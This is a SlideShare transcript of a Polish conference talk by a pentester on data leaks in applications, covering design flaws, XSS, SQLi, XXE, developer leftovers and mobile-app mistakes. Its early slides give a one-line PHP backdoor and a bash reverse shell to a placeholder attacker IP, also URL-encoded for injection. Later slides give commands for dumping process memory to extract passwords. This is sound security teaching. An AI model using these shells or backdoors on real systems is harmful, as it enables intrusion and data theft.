SlideShare a Scribd company logo
1 of 73
Download to read offline
4Developers: Artur Kalinowski- Wycieki danych w aplikacjach
Wyciek danych w aplikacjach
Artur Michał Kalinowski
Bio
Artur Michał Kalinowski (amk78)
– pentester w LogicalTrust
– wcześniej pentester, administrator, programista, ...
– wykładowca (informatyka śledcza, bezpieczeństwo IT…)
– współpraca z {„gov”} w zakresie informatyki śledczej
i bezpieczeństwa IT
– członek zespołu administracyjnego na forum związanym
z bezpieczeństwem IT
– autor książki „Metody inwigilacji i elementy informatyki
śledczej”
● Testy penetracyjne
● Audyty bezpieczeństwa
● Szkolenia
● Konsultacje
● Informatyka śledcza
● Aplikacje mobilne
Borys Łącki
> 10 lat - testy bezpieczeństwa
Edukacja: www.bothunters.pl ~ 8 lat blogowania o cyberprzestępcach
Confidence, SEMAFOR, SECURE, Atak i Obrona, Security Case Study,
Internet Banking Security, ISSA, SecureCON, SEConference, SekIT,
PTI, Open Source Security, PLNOG (…)
Zagadnienia
● Błędne założenia projektowe podstawą przyszłych kłopotów
● Typowe błędy, które niosą poważne konsekwencje
● Na co zwraca uwagę atakujący
● Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji
● Analiza działania aplikacji
● Pozostałości developerskie, środowiska testowe oraz niewłaściwa konfiguracja
środowisk produkcyjnych
● "Bez komentarza" :)
● Pozyskiwanie wrażliwych danych z pamięci operacyjnej
● Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki?
● Aplikacje mobilne a bezpieczeństwo
Wyciek danych
Źródło:
http://www.redorbit.com/media/uploads/2013/09/dataleaks.jpg--
2016-03-31
Źródło: Google
Źródło: http://swagct.com/uploads/2012/03/1_1332498132.jpg
Wyciek danych
● Czym jest wyciek danych i z czego często wynika
– niewiedza, brak motywacji, brak polityk, wzorców, zasad
– niewłaściwe środowisko, konfiguracja, brak odpowiednich rozwiązań
– presja czasu, budżet (przesunięcia, cięcia, ograniczenia)
– chęć zemsty, sławy
Źródło: http://www.observeit.com/sites/default/files/content_images/blog_images/data-leak1.jpg
Wyciek danych
● Wycieki danych
– przypadkowe / niezamierzone (np. na skutek błędów)
– celowe (np. pozostawione celowo luki)
– prowokowane (np. celowe doprowadzenie do wycieku poprzez
zainicjowanie odpowiednich działań)
Źródło: http://blogs.intralinks.com/collaborista/wp-content/uploads/sites/2/2014/02/Bitcoin2-696x398.png
Wyciek danych
Pozornie niewinne żarty mogą być z łatwością zaadoptowane do rzeczywistych ataków.
Wyciek danych
$_GET['a']($_GET['b']);
Niektóre wycieki danych mogą być wynikiem celowo pozostawionych furtek.
Wyciek danych
Reverse shell z użyciem basha:
bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1
tworzymy odpowiedni plik po stronie serwera, który następnie
uruchamiamy:
echo "/bin/bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1" > b &&
/bin/bash b
pamiętamy o odpowiednim kodowaniu:
php -r "echo urlencode('echo "/bin/bash -i >&
/dev/tcp/IP_ATAKUJACEGO/443 0>&1" > b && /bin/bash b');"
echo+%22%2Fbin%2Fbash+-i+%3E%26+%2Fdev%2Ftcp
%2FIP_ATAKUJACEGO%2F443+0%3E%261%22+%3E+b+%26%26+
%2Fbin%2Fbash+b
Wyciek danych
umieszczamy dane w URLu ...
… w efekcie serwer łączy się z nami
i uzyskujemy dostęp do wiersza poleceń:
Wyciek danych
● Częste przyczyny i źródła wycieku danych
sieć m.in. :
● niewłaściwa ochrona komunikacji,
● zła separacja,
● niewłaściwe zarządzanie dostępem i monitoring
Źródło: http://infosystem1.com/wp-content/uploads/2013/09/network-security.jpg
Wyciek danych
● Częste przyczyny i źródła wycieku danych
– przykład – pozyskanie IP z sieci wewnętrznej
1) zmiana wersji protokołu z HTTP/1.1 na HTTP/1.0
2) usunięcie pola host z nagłówka żądania
w efekcie:
● atakujący zna IP serwera
● atakujący zna adresację w sieci, w której znajduje się serwer
proste wykorzystanie:
● img z adresem z ujawnionej puli + /icons/right.gif
● zdarzenie onload lub onerror
● wysłanie linka do spreparowanej strony użytkownikowi
w firmie
Wyciek danych
W efekcie uzyskujemy adresy IP z sieci wewnętrznej, na których uruchomiony jest,
z dużym prawdopodobieństwem, serwer Apache.
Analogicznie, na podstawie charakterystycznych lokalizacji zasobów, można
zidentyfikować również obecność innych aplikacji w sieci lokalnej.
Wyciek danych
● Częste przyczyny i źródła wycieku danych
system m.in. :
● niewłaściwa konfiguracja (np. dostępu, aktualizacji,
ochrony danych, wpad),
● zrzuty pamięci (np. w wyniku błędów bądź inicjowane
przez użytkownika)
● system plików:
– pliki tymczasowe
– pliki wymiany, hibernacji
– metadane
– usunięte pliki
– slack space
– … Źródło:http://osheaven.net/wp-content/uploads/2011/07/data-security.jpg
Wyciek danych
Wyciek danych
● Częste przyczyny i źródła wycieku danych
usługi:
● banery,
● dane w nagłówkach odpowiedzi, informacje o systemie
i komponentach,
● komunikaty o błędach,
● znane zasoby,
● pliki konfiguracyjne (w tym też .htaccess, robots,
a czasem nawet .bash_history)
● .csv, .svn, .git,
● /server-status, /status,
● VRFY
Wyciek danych
● Częste przyczyny i źródła wycieku danych
W przykładzie wykorzystano apache.org. W celu zobrazowania ewentualnego wycieku danych
użyto fikcyjnych parametrów.
Wyciek danych
● Częste przyczyny i źródła wycieku danych
Wyciek danych
● Częste przyczyny i źródła wycieku danych
aplikacje m.in. :
– pliki konfiguracyjne, includowane,
– intuicyjne nazwy zasobów,
– walidacja jedynie po stronie UI,
– niewłaściwe filtrowanie potencjalnie szkodliwego kodu,
– poleganie na danych wejściowych z niezaufanych źródeł,
– niewłaściwa obsługa uploadu plików,
– brak weryfikacji integralności plików danych lub konfiguracji,
– brak zaciemniania kodu,
– niewłaściwe miejsca składowania danych,
– logowanie danych wrażliwych,
– ...
Wyciek danych
● Częste przyczyny i źródła wycieku danych
Źródło: Google
Wyciek danych
● Częste przyczyny i źródła wycieku danych
dane:
● backupy (w tym niewłaściwa polityka składowania, przesyłu, usuwania)
● statystyki, logi, dane przykładowe/testowe
● pliki z metadanymi (dokumenty, grafika)
użytkownicy:
●
wklejenie danych ze schowka,
● użycie podobnych haseł,
● omyłkowe użycie haseł,
●
przesłanie danych (np. chęć pomocy, pokazania czegoś ciekawego)
● przesłanie danych w złe miejsce (np. wydruk),
● pozostawienie wydruku,
●
niewłaściwe zniszczenie danych (np. wyrzucenie do kosza
błędnie/częściowo wydrukowanych dokumentów)
Błędne założenia projektowe
● Niewłaściwa walidacja danych
– walidacja jedynie części danych
np. danych z GET/POST
– walidacja po stronie aplikacji (UI)
bez walidacji po stronie serwera
– brak walidacji typów zmiennych
– akceptacja danych dostarczonych w dowolny sposób
(POST→GET, Cookie → GET itp.)
– neutralizacja potencjalnie szkodliwych danych na wyjściu,
a nie na wejściu
Źródło: http://i.imgur.com/GluNcro.jpg
Błędne założenia projektowe
● Niewłaściwa walidacja danych
– brak walidacji niektórych danych
np. pola Host przesyłanego w żądaniu
– poleganie na wartościach kontrolowanych przez użytkownika
User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)
– walidacja danych pod względem właściwego typu, ale bez
uwzględnienia granicznych wartości
id=-1, id=9999999999999
– brak walidacji pod kątem dopuszczalnych wartości m.in.:
możliwych do wczytania plików,
możliwych nazw przesyłanych plików,
identyfikatorów rekordów danych dostępnych dla danego użytkownika
...
Błędne założenia projektowe
● Niewłaściwa ochrona komunikacji
– brak użycia funkcji kryptograficznych
– kodowanie zamiast szyfrowania
– użycie „własnych” (podatnych na
kryptoanalizę) rozwiązań
– łączenie treści (na jednej stronie dostępne
treści pobierane przy użyciu szyfrowanego
oraz nieszyfrowanego połączenia)
– brak wymuszenia szyfrowania lub
przesyłania danych szyfrowanymi
kanałami (HSTS, flaga Secure)
– niewłaściwe użycie funkcji (np. random,
zamiast jej bezpiecznego odpowiednika)
– użycie „słabych” funkcji hashujących
i algorytmów kryptograficznych
– brak weryfikacji poprawności certyfikatów Źródło: http://bi.gazeta.pl/im/a4/89/dd/z14518692Q,Klucz-zostawil-
pod-wycieraczka.jpg
Błędne założenia projektowe
● Niewłaściwe składowanie danych
– brak szyfrowania istotnych informacji
– brak weryfikacji integralności danych
– wrażliwe dane w niewłaściwych miejscach (SD)
– kopie zapasowe, logi, uploadowane pliki
w publicznie dostępnych miejscach
– niewłaściwe usuwanie/pozostawienie danych
– błędne zarządzanie pamięcią cache
– zapamiętywanie danych formularzy
– znaki wykorzystywane jako separatory pól nie
są neutralizowane w danych wejściowych (np.
dane zapisywane do pliku, kolumny oddzielone
znakiem „|”, a znak „|” nie jest filtrowany i może
być użyty np. w nazwie użytkownika).
Źródło:
https://d.justpo.st/media/images/2014/09/10dd7c2fc1
7e23e9034fdff552bf5f71.jpg
Błędne założenia projektowe
● Niewłaściwe oczyszczanie danych
– dopuszczenie użycia znaków, które mogą wpłynąć na
logikę działania aplikacji (np. zmienić treść zapytania
sql)
– oczyszczanie danych podczas odsyłania treści do
aplikacji, a nie przed zapisem danych wejściowych do
bazy
– mniejsze restrykcje w stosunku do danych
importowanych („słabsza” walidacja)
– poleganie jedynie na frameworku (założenie, że nikt
nie utworzy własnej funkcji obsługującej dane, że nikt
nie zmieni konfiguracji itp.)
Błędne założenia projektowe
● Niewłaściwe oczyszczanie danych
Źródło: https://hackadaycom.files.wordpress.com/2014/04/18mpenleoksq8jpg.jpg?w=636
Błędne założenia projektowe
● Niewłaściwe zarządzanie uprawnieniami
– brak spójności pomiędzy funkcjami dostępnymi w interfejsie
użytkownika, a rzeczywistymi uprawnieniami (ograniczenie
na zasadzie braku dostępnej danej funkcji w interfejsie)
– brak ochrony zasobów (np. uploadowanych plików, znając
nazwę i lokalizację można pozyskać plik)
– dostęp na podstawie danych z niezaufanych źródeł (np. na
podstawie IP przesyłanego w X-Forwarded-For)
– brak weryfikacji integralności uprawnień (możliwość zmiany
uprawnień poprzez modyfikację plików konfiguracyjnych,
zmianę cookies, parametrów URL itp.)
– ...
Błędne założenia projektowe
● Brak uwzględnienia kwestii bezpieczeństwa
– wrażliwe dane lub tokeny przesyłane w URL
– linki do zewnętrznych serwisów ze stron, których
URLe zawierają istotne informacje (referer)
– brak właściwej obsługi wyjątków, szczegółowe
informacje o błędach, w tym fragmenty zapytań
i danych
– użycie niezaufanych lub nieaktualnych
komponentów, brak uwzględnienia właściwej
polityki aktualizacji i utrzymania aplikacji
– ...
Błędne założenia projektowe
Błędne założenia projektowe
Typowe błędy, które niosą poważne konsekwencje
● XSS
Niewłaściwie oczyszczane dane wejściowe
umożliwiają osadzenie własnego kodu, a przez to
przejęcie kontroli nad treścią wyświetlanej strony.
– śledzenie działań użytkownika
– dostęp do treści przeznaczonej dla danego
użytkownika (w tym informacji wrażliwych)
– możliwość modyfikacji treści (manipulacji danymi,
osadzenia „szkodliwych” treści np. plików)
– przekierowanie na fałszywą stronę (phishing)
Typowe błędy, które niosą poważne konsekwencje
● XSS – pozyskanie hasła
Typowe błędy, które niosą poważne konsekwencje
● XSS – w połączeniu z Metasploitem
Typowe błędy, które niosą poważne konsekwencje
● SQLi
Często widoczne fragmenty zapytań bądź nawet danych.
Informacje o błędach ujawniające rodzaj stosowanego
rozwiązania, charakterystyczne zachowanie, opóźnienia
czasowe itp.
– pozyskanie informacji o środowisku
– pozyskanie informacji o użytkownikach
– pozyskanie danych z bazy
– manipulacja danymi (np. zmiana sald)
– dodanie użytkownika do systemu
– podwyższenie uprawnień użytkowników
– dostęp do plików
– umieszczenie „złośliwych” skryptów, dostęp do konsoli
Typowe błędy, które niosą poważne konsekwencje
Typowe błędy, które niosą poważne konsekwencje
Typowe błędy, które niosą poważne konsekwencje
Typowe błędy, które niosą poważne konsekwencje
Typowe błędy, które niosą poważne konsekwencje
● XXE
Pozyskanie danych z systemu; plików
konfiguracyjnych, listy użytkowników, danych
o środowisku...
– zakłócenie pracy aplikacji (DoS)
– pozyskanie kodu źródłowego np. .php, w tym
ujawnienie danych dostępowych do baz itp.
– ...
Typowe błędy, które niosą poważne konsekwencje
● XXE – pozyskanie listy użytkowników systemu
Typowe błędy, które niosą poważne konsekwencje
● XXE – odczyt plików .php (najpierw szukamy...)
Typowe błędy, które niosą poważne konsekwencje
● XXE– odczytanie zawartości pliku php
Typowe błędy, które niosą poważne konsekwencje
● Brak szyfrowania danych
– nieuprawniony dostęp do informacji i jej ujawnienie
– pozyskanie danych uwierzytelniających
– działania w imieniu uprawnionego użytkownika
– manipulacja przesyłanymi danymi
– zakłócenie pracy aplikacji
– ...
Typowe błędy, które niosą poważne konsekwencje
● MITM - pozyskanie przesyłanych danych
Typowe błędy, które niosą poważne konsekwencje
● Wykorzystanie przewidywalnych wartości
● przewidywalne identyfikatory (w tym id sesji),
● wartości tokenów,
● nazwy kont użytkowników,
● lokalizacja i nazwy plików...
– dostęp do danych innych użytkowników
– dostęp do plików z poziomu niezalogowanych
użytkowników
– przejęcie sesji innego użytkownika
– dokonywanie/anulowanie zamówień jako inny użytkownik
– ...
Typowe błędy, które niosą poważne konsekwencje
● Brak zaciemnienia kodu
Łatwa analiza działania oraz identyfikacja
potencjalnych podatności.
– hardcodowane dane (hasła)
– możliwość wyszukiwania podatnych funkcji
i niebezpiecznych konstrukcji (grep + słownik)
– ujawnienie struktur danych, zapytań
– ...
Typowe błędy, które niosą poważne konsekwencje
● Odsyłanie informacji o błędach
Pozwala pozyskać istotne dane i zredukować czas
potrzebny na rozpoznanie oraz ilość informacji w logach,
które mogą wskazywać na rozpoczęcie ataku.
– identyfikacja użytkowników (np. wewnętrznych,
wykorzystywanych po stronie serwera)
– identyfikacja technologii
– informacje o stosowanym oprogramowaniu
– informacje o lokalizacji zasobów
– identyfikacja użytych funkcji i przyczyn błędów
– wskazówki (jakie wartości są akceptowane – ułatwia dalsze ataki)
– identyfikacja obecności użytkownika, zasobu itp.
Typowe błędy, które niosą poważne konsekwencje
● Użycie niewłaściwych funkcji
– przepełnienia bufora (pominięcie logowania, dostęp do danych)
– niewłaściwe generatory pseudolosowe (przewidywalne wartości)
– niewłaściwe funkcje hashujące (możliwość kolizji)
– niewłaściwe algorytmy szyfrowania lub protokoły (możliwość pozyskania
treści przesyłanych w szyfrowanym połączeniu)
– …
● Niewłaściwe wytwarzanie oprogramowania
● możliwe debugowanie,
● brak ochrony stosu,
● pozostawianie dokumentacji roboczej i informacji o błędach w publicznym miejscu,
● wykorzystanie gotowego kodu z innych aplikacji bez uwzględniania specyfikacji
obecnych wymagań,...
– możliwość przejęcia kontroli nad aplikacją, a nawet systemem
Typowe błędy, które niosą poważne konsekwencje
Na co zwraca uwagę atakujący
● publicznie dostępne informacje
– użycie wyszukiwarek celem zdobycia informacji m.in. o:
● ostrzeżeniach, błędach, komunikatach,
● plikach składowych (index.of),
● panelach administracyjnych,
● rodzajach plików (np. .asp, .php), lokalizacji, kopii plików
● metadanych
● adresach URL
– wpisy na forach
● dyskusje programistów związanych z daną aplikacją
● dyskusje związane ze znalezionymi przez „wolontariuszy” lukami
● identyfikacja technologii: banery, nagłówki, informacje o błędach,
środowisku, komponentach, domyślne strony i zasoby, pliki składowe
– poszukiwanie luk związanych ze zidentyfikowaną technologią
i komponentami
Na co zwraca uwagę atakujący
● rodzaj aplikacji, przetwarzanych danych, powiązania z innymi
usługami (czy na serwerze obecne inne usługi, które można
wykorzystać)
– przewidywalność danych (tokenów, identyfikatorów, id sesji, nazw plików)
– obecność logów, statystyk, paneli administracyjnych
● konfiguracja środowiska (czy domyślna, robocza itp.)
– domyślne zasoby,
– stosowane mechanizmy zabezpieczeń i monitoringu
– aktualność komponentów
– raportowanie błędów
– ochrona przed zautomatyzowanymi działaniami
● mechanizmy filtrowania i walidacji
● mechanizmy uploadu/backupu/importu
● polityki bezpieczeństwa: haseł, backupów, utrzymania aplikacji
Darmowe narzędzia ułatwiające pozyskanie
pożądanych informacji
● Serwisy online
– https://archive.org/web/
– Bing, Google, …
– netcraft
– https://www.shodan.io/
– robtex, virustotal, …
– Facebook, LinkedIn, ...
...
Źródło: archive.org
Źródło: www.shodan.io
Darmowe narzędzia ułatwiające pozyskanie
pożądanych informacji
– skanery (np. OWASP ZAP, nikto, sqlmap, Nmap
z odpowiednimi skryptami NSE…)
– skanery zasobów (np. DirBuster)
– fuzzery (np. wfuzz)
– proxy (np. OWASP ZAP, Burp)
– frameworki (np. Metasploit)
– łamacze haseł/odgadywanie haseł (np. john, Hydra, Medusa)
– narzędzia konsolowe:
curl, openssl, (n)grep, theHarvester, foremost, driftnet, dsniff,
exiftool, gooscan, goofile ...
– inne (np. evilgrade)
Analiza działania aplikacji
● czy aplikacja da się uruchomić w kontrolowanym przez nas
środowisku (możliwość monitorowania, wstrzymania,
podmiany danych, odczytania tymczasowych danych przed
usunięciem)
● z jakich komponentów korzysta i jak je weryfikuje (możliwość
podmiany)
● jak przetwarza dane wejściowe (czy i na którym etapie je
waliduje/oczyszcza)
● czy łączy się do innych hostów (czy połączenie szyfrowane)
● jakich funkcji używa (czy są one bezpieczne)
● gdzie zapisuje dane robocze i co umieszczane w logach
● jakie informacje umieszcza w komunikatach o błędach
Pozostałości developerskie
● odwołania do środowiska developerskiego w kodzie
● zasoby testowe, konsole testowe/developerskie
● konta testowe
● informacje logowane w konsoli
● flagi/parametry umożliwiające uwierzytelnienie
● funkcje resetowania ustawień, instalatory
● zasoby związane z rozwojem aplikacji (repozytoria plików, historia
zmian, zadania do wykonania, dokumentacja projektowa/testowa)
● pliki tymczasowe, kopie, stare wersje plików
● zrzuty pustych baz (struktur) lub stanów początkowych
● zdalny dostęp, aktywne dodatkowe usługi
● niewyczyszczone logi oraz dane testowe
Pozostałości developerskie
Pozostałości developerskie
Środowiska developerskie i testowe
● niewłaściwa kontrola dostępu (publiczny dostęp do
aplikacji lub jej zasobów)
● zindeksowanie informacji o błędach oraz struktury
katalogowej
● wycieki fragmentów kodu
● brak wykorzystania kryptografii
● tylne furtki (do szybkiego dostępu i zmian)
● modyfikacje z pominięciem procesu dokumentowania
zmian
● użycie rzeczywistych danych (danych produkcyjnych)
● ...
Środowiska produkcyjne
● niewłaściwe wdrożenia
– niekompletna lub domyślna konfiguracja
– niekompletny lub nieprzetestowany kod
– szybkie poprawki funkcjonalne lub maskujące błędy
– pozostawienie danych lub dostępów testowych
– niewłaściwe przekazanie danych dostępowych
– niedostateczne przetestowanie/poznanie rozwiązań przez użytkowników
i administratorów
● utrzymanie aplikacji
– niewłaściwe procedury backupów (tworzenia/składowania/przywracania)
– niewłaściwe procedury aktualizacji
– niewłaściwa/niebezpieczna konfiguracja mechanizmów kontroli dostępu i wymiany
danych
● migracja i modyfikacje funkcjonalności
– migracja danych we własnym zakresie (własne rozwiązania)
– działania poza interfejsem aplikacji (np. operacje bezpośrednio na bazie)
Komentarze
● szczegółowe opisy kodu (np. parametrów funkcji)
ułatwia atakującemu analizę aplikacji i szukanie luk
● opisy planowanych funkcjonalności (np. „tu będzie dodatkowe pole
komentarza”)
ciekawe czy jest już to po stronie serwera obsługiwane?
● opisy problemów (np. „tu coś się psuło, więc trzeba było wyłączyć”)
czy wyłączone tylko w UI, czy po stronie serwera też wyłączona obsługa?
coś się psuje – dobry trop!
● zakomentowane fragmenty funkcji – oznacza, że z jakiegoś powodu
funkcje zostały wyłączone
z jakiego?, może coś nie działało jak trzeba?
● ToDo (np. „zrobić walidację”, „ograniczyć zakres”, „ograniczyć
uprawnienia”)
dobrze wiedzieć co nie działa :)
Pozyskiwanie wrażliwych danych z pamięci
operacyjnej
● zrzut pamięci procesu
np. procdump -ma program.exe
● zrzut całej pamięci RAM
np. Dumpit.exe
● zrzut pamięci jądra
np. C:WindowsMinidumpMinidump.dmp
● pozyskiwanie ciągów tekstowych ze zrzutów
np. strings -n 6 program.exe.dmp > program.exe.txt
● pozyskiwanie danych binarnych
np. foremost -o program.exe.dmp
Pozyskiwanie wrażliwych danych z pamięci
operacyjnej
Czy stosowanie restrykcyjnych zabezpieczeń ułatwia
ataki
● Podejście atakującego
– wykorzystać siłę i zasoby przeciwnika przeciwko niemu
przykład – w firmie stosowane są hasła, które muszą:
● mieć przynajmniej 12 znaków
● zawierać zarówno małe jak i wielkie litery
● zawierać cyfry
● zawierać znaki specjalne
co robi atakujący:
● przeszukuje zasoby pamięci/danych np. z użyciem np. strings + grep i szuka
ciągów, które zawierają jednocześnie:
– duże i małe litery, cyfry, znaki specjalne i mają przynajmniej 12 znaków
● dzięki temu znacznie ogranicza zbiór potencjalnych haseł np.
z kilkudziesięciu/kilkuset MB (wielkość zrzutu procesu), do około kilku KB
(np. 100 możliwych ciągów), które odpowiadają wzorcowi przyjętemu dla hasła
● atak wymaga jedynie sprawdzenia niewielkiej ilości potencjalnych haseł
Czy stosowanie restrykcyjnych zabezpieczeń ułatwia
ataki
● Podejście atakującego
– wykorzystać siłę i zasoby przeciwnika przeciwko niemu
przykład 2 – w firmie hasła do systemów i aplikacji są
zmieniane co 30 dni:
● jest wielu użytkowników
● użytkownicy mają dostęp do wielu systemów/aplikacji
● muszą się codziennie wiele razy logować
jakie wnioski można z tego wyciągnąć atakujący:
● hasła do systemów i aplikacji będą podobne
● użytkownicy użyją schematów np. będą tworzyć hasła w
oparciu o miesiące lub wybrane słowo i kolejne dni
● pozyskanie hasła do jednej z aplikacji otwiera furtkę do innych
Aplikacje mobilne a bezpieczeństwo
● Częste błędy:
– brak zabezpieczeń kryptograficznych dla istotnych danych
– „wrażliwe” informacje zapisywane do logów
– brak weryfikacji certyfikatów
– dane zapisywane na karcie SD
– zła randomizacja
– brak „zaciemnienia” kodu
– osadzanie haseł i innych „wrażliwych” danych w aplikacji
– api mobilne mniej restrykcyjne w stosunku do restrykcji w
przypadku stron WWW
Aplikacje mobilne a bezpieczeństwo
Aplikacje mobilne a bezpieczeństwo
Podsumowanie
● nawet pozornie nieszkodliwe informacje mogą być cenną
wskazówką dla atakującego
● jeżeli jakieś dane wyciekną do Internetu, to najprawdopodobniej
zostaną powielone n razy w x miejscach
● atakujący często może pozyskać dużo istotnych danych pasywnie
- bez nawiązywania połączenia z naszymi serwerami/siecią
● nigdy nie należy zakładać, że atakujący użyje aplikacji zgodnie
z jej przeznaczeniem i w spodziewanym środowisku
● wycieki informacji/danych są zaproszeniem dla atakującego
i często prowadzą do przykrych konsekwencji
● wycieki mogą powstawać w najmniej spodziewanych miejscach,
często przez roztargnienie, niedopatrzenie, niewiedzę
● fałszywy, kontrolowany wyciek może być ciekawą bronią
Dziękuję za uwagę
● Pytania?
Prezentowany materiał przeznaczony wyłącznie do celów edukacyjnych.
Wszelkie nazwy, zdjęcia, znaki firmowe i towarowe niebędące własnością prelegenta oraz firmy, należą
do ich właścicieli i zostały użyte jedynie w celach informacyjnych.
4Developers: Artur Kalinowski- Wycieki danych w aplikacjach

More Related Content

Viewers also liked

4Developers: Sebastian Malaca- Spotkania, na których chcesz być obecny
4Developers: Sebastian Malaca- Spotkania, na których chcesz być obecny4Developers: Sebastian Malaca- Spotkania, na których chcesz być obecny
4Developers: Sebastian Malaca- Spotkania, na których chcesz być obecnyPROIDEA
 
4Developers: Make your Wordpress Themes faster by using a bunch of great tool...
4Developers: Make your Wordpress Themes faster by using a bunch of great tool...4Developers: Make your Wordpress Themes faster by using a bunch of great tool...
4Developers: Make your Wordpress Themes faster by using a bunch of great tool...PROIDEA
 
4Developers: Mateusz Olejarka- Jak utrzymać bezpieczeństwo aplikacji po wdroż...
4Developers: Mateusz Olejarka- Jak utrzymać bezpieczeństwo aplikacji po wdroż...4Developers: Mateusz Olejarka- Jak utrzymać bezpieczeństwo aplikacji po wdroż...
4Developers: Mateusz Olejarka- Jak utrzymać bezpieczeństwo aplikacji po wdroż...PROIDEA
 
4Developers: Maciej Aniserowicz- O mikroserwisach mikro-fakty i mikro-mity
4Developers: Maciej Aniserowicz- O mikroserwisach mikro-fakty i mikro-mity4Developers: Maciej Aniserowicz- O mikroserwisach mikro-fakty i mikro-mity
4Developers: Maciej Aniserowicz- O mikroserwisach mikro-fakty i mikro-mityPROIDEA
 
4Developers: Andrzej Wisłowski Użycie stosu Elastic (elasticsearch, logstash,...
4Developers: Andrzej Wisłowski Użycie stosu Elastic (elasticsearch, logstash,...4Developers: Andrzej Wisłowski Użycie stosu Elastic (elasticsearch, logstash,...
4Developers: Andrzej Wisłowski Użycie stosu Elastic (elasticsearch, logstash,...PROIDEA
 
4Developers: Kacper Kościeński- Walka z MVC i innymi wzorcami projektowymi w ...
4Developers: Kacper Kościeński- Walka z MVC i innymi wzorcami projektowymi w ...4Developers: Kacper Kościeński- Walka z MVC i innymi wzorcami projektowymi w ...
4Developers: Kacper Kościeński- Walka z MVC i innymi wzorcami projektowymi w ...PROIDEA
 
4Developers: Dominik Przybysz- Message Brokers
4Developers: Dominik Przybysz- Message Brokers4Developers: Dominik Przybysz- Message Brokers
4Developers: Dominik Przybysz- Message BrokersPROIDEA
 
4Developers2016: Introduction to Xamarin.Platform
4Developers2016: Introduction to Xamarin.Platform4Developers2016: Introduction to Xamarin.Platform
4Developers2016: Introduction to Xamarin.PlatformPROIDEA
 
4Developers2016: Artur Kalinowski Wyciek Danych w aplikacjach
4Developers2016: Artur Kalinowski Wyciek Danych w aplikacjach4Developers2016: Artur Kalinowski Wyciek Danych w aplikacjach
4Developers2016: Artur Kalinowski Wyciek Danych w aplikacjachPROIDEA
 
4Developers: Szymon Warda- Graph databases - why and how
4Developers: Szymon Warda- Graph databases - why and how4Developers: Szymon Warda- Graph databases - why and how
4Developers: Szymon Warda- Graph databases - why and howPROIDEA
 
4Developers: Maciej Aniserowicz- GMD - Getting More Done
4Developers: Maciej Aniserowicz- GMD - Getting More Done4Developers: Maciej Aniserowicz- GMD - Getting More Done
4Developers: Maciej Aniserowicz- GMD - Getting More DonePROIDEA
 
4Developers: Mariusz Sieraczkiewicz i Paweł Wrzeszcz- How Jak zmienić dobre z...
4Developers: Mariusz Sieraczkiewicz i Paweł Wrzeszcz- How Jak zmienić dobre z...4Developers: Mariusz Sieraczkiewicz i Paweł Wrzeszcz- How Jak zmienić dobre z...
4Developers: Mariusz Sieraczkiewicz i Paweł Wrzeszcz- How Jak zmienić dobre z...PROIDEA
 
4Developers: Paweł Szulc- Real-World Gobbledygook
4Developers: Paweł Szulc- Real-World Gobbledygook 4Developers: Paweł Szulc- Real-World Gobbledygook
4Developers: Paweł Szulc- Real-World Gobbledygook PROIDEA
 
4Developers: Karol Drzymała- Jak nie zawalić projektu - komunikacja i ryzyko
4Developers: Karol Drzymała- Jak nie zawalić projektu - komunikacja i ryzyko4Developers: Karol Drzymała- Jak nie zawalić projektu - komunikacja i ryzyko
4Developers: Karol Drzymała- Jak nie zawalić projektu - komunikacja i ryzykoPROIDEA
 
4Developers: The web is getting pushy- Phil Nash
4Developers: The web is getting pushy- Phil Nash4Developers: The web is getting pushy- Phil Nash
4Developers: The web is getting pushy- Phil NashPROIDEA
 
4Developers: Łukasz Łysik- Message-driven architecture with RabbitMQ
4Developers: Łukasz Łysik- Message-driven architecture with RabbitMQ4Developers: Łukasz Łysik- Message-driven architecture with RabbitMQ
4Developers: Łukasz Łysik- Message-driven architecture with RabbitMQPROIDEA
 
4Developers: Ryszard Skonieczka- Pokaż kotku, co masz w środku - czyli jak wy...
4Developers: Ryszard Skonieczka- Pokaż kotku, co masz w środku - czyli jak wy...4Developers: Ryszard Skonieczka- Pokaż kotku, co masz w środku - czyli jak wy...
4Developers: Ryszard Skonieczka- Pokaż kotku, co masz w środku - czyli jak wy...PROIDEA
 
4Developers: Norbert Wójtowicz- Data-Oriented Architecture
4Developers: Norbert Wójtowicz- Data-Oriented Architecture4Developers: Norbert Wójtowicz- Data-Oriented Architecture
4Developers: Norbert Wójtowicz- Data-Oriented ArchitecturePROIDEA
 
4Developers: Krzysztof Staruch, Kamil Piechociak- Pracuj.pl - SOA zrobione (p...
4Developers: Krzysztof Staruch, Kamil Piechociak- Pracuj.pl - SOA zrobione (p...4Developers: Krzysztof Staruch, Kamil Piechociak- Pracuj.pl - SOA zrobione (p...
4Developers: Krzysztof Staruch, Kamil Piechociak- Pracuj.pl - SOA zrobione (p...PROIDEA
 
4Developers: Grzegorz Piwowarek- Java Wars VIII: The Function Awakens
4Developers: Grzegorz Piwowarek- Java Wars VIII: The Function Awakens4Developers: Grzegorz Piwowarek- Java Wars VIII: The Function Awakens
4Developers: Grzegorz Piwowarek- Java Wars VIII: The Function AwakensPROIDEA
 

Viewers also liked (20)

4Developers: Sebastian Malaca- Spotkania, na których chcesz być obecny
4Developers: Sebastian Malaca- Spotkania, na których chcesz być obecny4Developers: Sebastian Malaca- Spotkania, na których chcesz być obecny
4Developers: Sebastian Malaca- Spotkania, na których chcesz być obecny
 
4Developers: Make your Wordpress Themes faster by using a bunch of great tool...
4Developers: Make your Wordpress Themes faster by using a bunch of great tool...4Developers: Make your Wordpress Themes faster by using a bunch of great tool...
4Developers: Make your Wordpress Themes faster by using a bunch of great tool...
 
4Developers: Mateusz Olejarka- Jak utrzymać bezpieczeństwo aplikacji po wdroż...
4Developers: Mateusz Olejarka- Jak utrzymać bezpieczeństwo aplikacji po wdroż...4Developers: Mateusz Olejarka- Jak utrzymać bezpieczeństwo aplikacji po wdroż...
4Developers: Mateusz Olejarka- Jak utrzymać bezpieczeństwo aplikacji po wdroż...
 
4Developers: Maciej Aniserowicz- O mikroserwisach mikro-fakty i mikro-mity
4Developers: Maciej Aniserowicz- O mikroserwisach mikro-fakty i mikro-mity4Developers: Maciej Aniserowicz- O mikroserwisach mikro-fakty i mikro-mity
4Developers: Maciej Aniserowicz- O mikroserwisach mikro-fakty i mikro-mity
 
4Developers: Andrzej Wisłowski Użycie stosu Elastic (elasticsearch, logstash,...
